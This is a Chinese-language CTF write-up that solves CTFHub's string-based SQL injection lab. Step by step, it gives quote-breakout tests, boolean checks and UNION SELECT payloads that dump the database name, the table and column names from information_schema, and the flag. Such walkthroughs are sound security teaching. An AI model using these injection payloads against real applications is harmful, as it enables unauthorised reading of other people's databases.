【SQL注入】字符型注入

CTFHUB 字符型SQL注入
在这里插入图片描述

1
2
3

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
只能查询得到id为1和2的回显,且注意查询语句select * from news where id='1',与数字型SQL查询不同的是所查询的是一个用单引号括起来的字符

验证输入

1‘#

在这里插入图片描述
雀氏嗷,对比数字型注入中说到的,判断此题为字符型注入
先判断能否注入,即注入的代码能否执行

1' and 1=1 #
1' and 1=2 #

在这里插入图片描述
在这里插入图片描述存在注入

hi' union select 1,database()#

在这里插入图片描述
因为是字符型注入,可以整点花活:)
原理是一样的,不存在id='hi'判断为假
得到数据库名“sqli”

hi' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

在这里插入图片描述爆出表名为“flag”和“nwes”

继续注入

singleDOG' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#

在这里插入图片描述得到列名为flag

最后注入查询该列内容获得flag

imNOOB' union select 1,group_concat(flag) from sqli.flag#

在这里插入图片描述
解完,下班!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值